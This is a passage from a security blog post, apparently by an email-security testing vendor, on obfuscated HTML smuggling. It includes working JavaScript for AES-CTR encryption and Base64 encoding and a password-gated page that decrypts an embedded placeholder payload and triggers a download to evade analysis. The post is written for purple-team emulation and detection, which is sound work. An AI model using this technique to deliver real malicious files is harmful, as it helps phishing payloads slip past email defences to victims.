o1 = plain.charCodeAt(c); o2 = plain.charCodeAt(c + 1); o3 = plain.charCodeAt(c + 2); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 63; h2 = bits >> 12 & 63; h3 = bits >> 6 & 63; h4 = bits & 63; e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } coded = e.join(''); coded = coded.slice(0, coded.length - pad.length) + pad; return coded; }; Base64.decode = function (str, utf8decode) { utf8decode = typeof utf8decode == 'undefined' ? false : utf8decode; var o1, o2, o3, h1, h2, h3, h4, bits, d = [], plain, coded; var b64 = Base64.code; coded = utf8decode ? str.decodeUTF8() : str; for (var c = 0; c < coded.length; c += 4) { h1 = b64.indexOf(coded.charAt(c)); h2 = b64.indexOf(coded.charAt(c + 1)); h3 = b64.indexOf(coded.charAt(c + 2)); h4 = b64.indexOf(coded.charAt(c + 3)); bits = h1 << 18 | h2 << 12 | h3 << 6 | h4; o1 = bits >>> 16 & 255; o2 = bits >>> 8 & 255; o3 = bits & 255; d[c / 4] = String.fromCharCode(o1, o2, o3); if (h4 == 64) d[c / 4] = String.fromCharCode(o1, o2); if (h3 == 64) d[c / 4] = String.fromCharCode(o1); } plain = d.join(''); return utf8decode ? plain.decodeUTF8() : plain; }; var cipherText= "ENCRYPTED_BASE64_PAYLOAD" var decryptedData = Aes.Ctr.decrypt(cipherText, "password", 128); ... </script> The equivalent encryption method in JavaScript to produce the ciphertext of our Base64-encoded payload would be as follows: Aes.Ctr.encrypt = function (plaintext, password, nBits) { var blockSize = 16; if (!(nBits == 128 || nBits == 192 || nBits == 256)) return ''; plaintext = Utf8.encode(plaintext); password = Utf8.encode(password); var nBytes = nBits / 8; var pwBytes = new Array(nBytes); for (var i = 0; i < nBytes; i++) { pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i); } var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes)); key = key.concat(key.slice(0, nBytes - 16)); var counterBlock = new Array(blockSize); var nonce = (new Date()).getTime(); var nonceSec = Math.floor(nonce / 1000); var nonceMs = nonce % 1000; for (var i = 0; i < 4; i++) counterBlock[i] = nonceSec >>> i * 8 & 255; for (var i = 0; i < 4; i++) counterBlock[i + 4] = nonceMs & 255; var ctrTxt = ''; for (var i = 0; i < 8; i++) ctrTxt += String.fromCharCode(counterBlock[i]); var keySchedule = Aes.keyExpansion(key); var blockCount = Math.ceil(plaintext.length / blockSize); var ciphertxt = new Array(blockCount); for (var b = 0; b < blockCount; b++) { for (var c = 0; c < 4; c++) counterBlock[15 - c] = b >>> c * 8 & 255; for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = b / 4294967296 >>> c * 8; var cipherCntr = Aes.cipher(counterBlock, keySchedule); var blockLength = b < blockCount - 1 ? blockSize : (plaintext.length - 1) % blockSize + 1; var cipherChar = new Array(blockLength); for (var i = 0; i < blockLength; i++) { cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b * blockSize + i); cipherChar[i] = String.fromCharCode(cipherChar[i]); } ciphertxt[b] = cipherChar.join(''); } var ciphertext = ctrTxt + ciphertxt.join(''); ciphertext = Base64.encode(ciphertext); return ciphertext; }; var cipherText = Aes.Ctr.encrypt("BASE64_ENCODED_PAYLOAD", "password", 128); With the required functions to produce our AES-encrypted payload and decrypt it again, we can implement a rudimentary password entry UI as below: <html> <body> <p> Enter File Download Password: <input id="passBox" name="inputPassword" value="" /> </p> <button onclick="Download()">Download</button> <p style="color:red" id="messageBox"></p> </body> <script> function Validate(cipherText) { if (document.getElementById("passBox").value == "" || document.getElementById("passBox").value.length < 8) return false; else if (Aes.Ctr.decrypt("dIYlZAAAAAAmKL/xhw==", document.getElementById("passBox").value, 128) == "valid") return true; else return false; } function Download() { var password = document.getElementById("passBox").value; var cipherText = "CIPHERTEXT_OF_BASE64_PAYLOAD"; if (Validate()){ var decryptedData = Aes.Ctr.decrypt(cipherText, password, 128); // Initiate Download } else { document.getElementById("messageBox").innerText = "Bad Password."; document.getElementById("passBox").value = ""; } } </script> </html> This effectively achieves the following: * Take user entered string from the ‘passBox’ entry field. * Initiate the Download() function on button click. * If the password is valid (based on the outcome of the Validate() function), initiate the decryption. * If it isn’t, update the page to say ‘Bad Password.’ and clear the ‘passBox’ entry field. A basic password entry HTML form Our Validate() function, performs two checks. The first checks the provided password isn’t empty and is longer than 8 characters. The second check then uses the provided password to decrypt an encrypted string with a cleartext of ‘valid’. If we decrypt the string and get the expected ‘valid’ value, we know the password is correct and can proceed with decrypting the primary payload. Introducing a cleartext and ciphertext comparison in this way arguably aids in analysis of the overall payload, but the primary benefit of this implementation is ensuring the end user only receives a download when their password is entered correctly, rather than serving them a malformed payload decrypted with the wrong key. > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here, as well as an obfuscated variation here, and a > live demo (password is ‘password’!) which smuggles an ISO here. CONCLUSIONS Throughout this blog we’ve explored ways in which threat actors are employing techniques to obfuscate their payloads and make analysis and detection of HTML smuggling in email attachments more challenging. We’ve seen examples of different encoding and encryption methods, as well as techniques using JavaScript event listeners and user agent checks to ensure the payload is not exposed through dynamic analysis or downloaded on an unintended platform. Finally, we’ve seen examples using SVG files, OnError image element attributes and setTimeout functions to obscure the smuggling even further. Along the way, we’ve identified a handful of detection opportunities for the various techniques, and seen actionable code snippets and demos to emulate these techniques ourselves. Blog written by Alfie Champion. DELIVR.TO delivr.to is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content. delivr.to has a broad collection of over 500 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction. delivr.to offers a free 30 day trial, so head over and try it out now! REFERENCES * Login portal attachments: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/html-file-attachments-still-a-threat/ * More login portal attachments: https://atos.net/en/lp/securitydive/phishing-campaign-using-html-smuggling-to-get-your-office365-credentials * Demiguise: https://github.com/nccgroup/demiguise * Outflank — HTML Smuggling Explained: https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ * SVG Images for HTML Smuggling: https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/ * HTML Smuggling Detection: https://micahbabinski.medium.com/html-smuggling-detection-5adefebb6841 * AES Encryption JavaScript Implementation: https://gist.github.com/chrisveness/b28bd30b2b0c03806b0c * David Weir HTML Smuggling Series (LinkedIn): https://www.linkedin.com/posts/activity-7013900051353657344-IyJC Email Security Purple Team Malware Analysis 6 6 6 MORE FROM DELIVR.TO Follow Posts from the delivr.to team on all things email control validation and purple teaming Jan 4 INTRODUCING DELIVR.TO, AND A NEW APPROACH TO EMAIL SECURITY TESTING Introduction The best defences in cyber security are those you’ve validated. ‘Kicking the tyres’ on your controls gives you the best evaluation of what and how (and if?!) they’re mitigating the threats they should be. The burgeoning Breach and Attack Simulation (BAS) tooling market is testament to this, not to mention… Email Security 6 min read Email Security 6 min read -------------------------------------------------------------------------------- Share your ideas with millions of readers. Write on Medium -------------------------------------------------------------------------------- Feb 22 USING DELIVR.TO AND SUBLIME SECURITY TO BOOTSTRAP YOUR EMAIL DEFENCES New to delivr.to? Check out our release blog here. delivr.to provides a means to test your defences against a broad range of payloads, from HTML Smuggling to the latest abuse of Microsoft Office file formats (OneNote anyone? 👀), sent as both attachments and links. Running a handcrafted Campaign Template can… Purple Team 11 min read Purple Team 11 min read -------------------------------------------------------------------------------- AboutHelpTermsPrivacy -------------------------------------------------------------------------------- GET THE MEDIUM APP DELIVR.TO 19 Followers Posts from the delivr.to team on all things email control validation and purple teaming Follow MORE FROM MEDIUM Adam Dryden OFFENSIVE SECURITY: HOW TO USE BURP SUITE, SQL INJECTION, PENETRATION TESTING EXECUTION STANDARD… Adam Goss CERTIFIED RED TEAM OPERATOR (CRTO) REVIEW Mike Takahashi in The Gray Area 5 GOOGLE DORKS EVERY HACKER SHOULD KNOW Alopix | Αλώπηξ in System Weakness BYPASSING A WINDOWS PASSWORD USING KALI, WITH JUST TWO COMMANDS Help Status Writers Blog Careers Privacy Terms About Text to speech To make Medium work, we log user data. By using Medium, you agree to our Privacy Policy, including cookie policy.